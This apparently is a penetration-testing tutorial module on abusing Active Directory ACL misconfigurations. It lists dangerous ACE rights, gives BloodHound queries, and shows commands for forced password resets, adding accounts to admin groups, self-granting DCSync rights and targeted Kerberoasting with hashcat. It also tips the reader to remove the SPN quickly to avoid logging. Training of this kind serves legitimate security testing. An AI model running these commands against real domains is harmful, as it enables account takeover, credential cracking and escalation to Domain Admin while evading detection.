Access Control List misconfigurations are among the most commonly found and most impactful vulnerabilities in Active Directory environments. A single misconfigured ACE on the right object — a user, group, or OU — can provide a straight path from a standard domain user to Domain Admin. This module explains the key ACE rights, how to find them with BloodHound and PowerView, and how to exploit them systematically.
Dangerous ACE Rights
GenericAll
Full control over the target object. Can change passwords, modify all attributes, add to groups, take ownership.
Change password or set SPN for targeted Kerberoasting
GenericWrite
Can modify most writable attributes. On user objects: scriptPath (logon script), servicePrincipalName. On computers: msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD).
Set SPN → Kerberoast, or write logon script with command
WriteDACL
Can modify the object's DACL (Access Control List). Allows granting any right to any principal — including yourself.
Grant yourself GenericAll, then proceed with full control
WriteOwner
Can change the object's owner to yourself. Object owners have implicit WriteDACL.
Take ownership → WriteDACL → GenericAll
ForceChangePassword
Extended right to reset a user's password without knowing the current one. No confirmation required.
Set target account password, then authenticate as them
AddMember / Self-Membership
Can add accounts to the target group. Self-Membership means you can add yourself specifically.
Add yourself to Domain Admins or a delegated admin group
ACL misconfigurations are typically not visible in standard AD tools like Active Directory Users and Computers — they require explicit DACL inspection. This is why many organisations don't discover them until a penetration test or a breach.
Finding ACL Paths in BloodHound
Reading the BloodHound Graph
BloodHound maps every DACL relationship as a directed edge between nodes. Once you've imported SharpHound data, use these queries to surface ACL paths:
# Cypher queries to run in BloodHound's Raw Query box# Find all objects your user (jsmith) has ACL rights over
MATCH p=(u:User {name:"JSMITH@MERIDIANFG.LOCAL"})-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner|ForceChangePassword|AddMember]->(n) RETURN p
# Find all users with WriteDACL over other users
MATCH p=(u:User)-[:WriteDACL]->(v:User) RETURN p
# Find path from jsmith to Domain Admins
MATCH p=shortestPath((u:User {name:"JSMITH@MERIDIANFG.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@MERIDIANFG.LOCAL"})) RETURN p
In the graph view, right-click any edge to see the edge type (e.g. GenericWrite). BloodHound also shows the abuse info — click the edge, then "Help → Abuse Info" for a plain-English exploitation guide and PowerShell commands specific to that relationship.
Use "Shortest Paths from Owned Principals to High Value Targets" after marking your current account as Owned (right-click user → Mark as Owned). This focuses BloodHound on paths reachable from your current position.
Exploiting ACL Misconfigurations
ForceChangePassword
When your account has ForceChangePassword over a target user, reset their password directly from Kali without touching Windows:
# Reset target's password with net rpc (from Kali)kali@kali:~$ net rpc password "targetuser" "NewPassword123!" \
-U "meridianfg.local/jsmith%Password123" -S 192.168.1.10
# Or with PowerView from WindowsPS> $SecPass = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
PS> Set-DomainUserPassword -Identity targetuser -AccountPassword $SecPass
AddMember — Escalating Group Membership
# Add yourself to a group with PowerViewPS> Add-DomainGroupMember -Identity "IT Admins" -Members jsmith
# Verify membershipPS> Get-DomainGroupMember -Identity "IT Admins"
# With net rpc from Kalikali@kali:~$ net rpc group addmem "IT Admins" jsmith \
-U "meridianfg.local/jsmith%Password123" -S 192.168.1.10
After adding yourself to a group, you must re-authenticate (new logon session) to receive a Kerberos ticket that includes the new group membership. The current session's TGT doesn't get refreshed automatically. Log off and back on, or use runas /user:meridianfg\jsmith cmd.
WriteDACL — Self-Granting Rights
# Add GenericAll to yourself over a target objectPS> Add-DomainObjectAcl -TargetIdentity targetuser \
-PrincipalIdentity jsmith -Rights All
# Add DCSync rights to yourself (if you have WriteDACL over the domain object)PS> Add-DomainObjectAcl -TargetIdentity "DC=meridianfg,DC=local" \
-PrincipalIdentity jsmith -Rights DCSync
Targeted Kerberoasting via GenericWrite
Setting an SPN to Kerberoast Any User
Standard Kerberoasting only works against accounts that already have an SPN. But if you have GenericWrite over any user account, you can set an arbitrary SPN on that account, request a service ticket for it (encrypted with their hash), crack it offline, then remove the SPN to clean up.
This is powerful because it lets you Kerberoast high-privilege accounts (like Domain Admins) that wouldn't normally be Kerberoastable — as long as you have a write path to them via ACL.
# Set a fake SPN on the target account (requires GenericWrite)PS> Set-DomainObject -Identity "targetadmin" -Set @{serviceprincipalname='fake/spn'}
# Request the TGS (Kerberoast the newly SPN-ified account)kali@kali:~$ impacket-GetUserSPNs meridianfg.local/jsmith:Password123 \
-dc-ip 192.168.1.10 -request -outputfile targeted.txt
# Crack the hashkali@kali:~$ hashcat -m 13100 targeted.txt /usr/share/wordlists/rockyou.txt
# Clean up — remove the SPNPS> Set-DomainObject -Identity "targetadmin" -Clear serviceprincipalname
Targeted Kerberoasting against a Domain Admin account that has a strong random password will not crack. But many DA accounts in real organizations are maintained by humans who reuse passwords or set predictable ones. The SPN set event (Event ID 4738) may be logged — remove the SPN quickly after capturing the hash.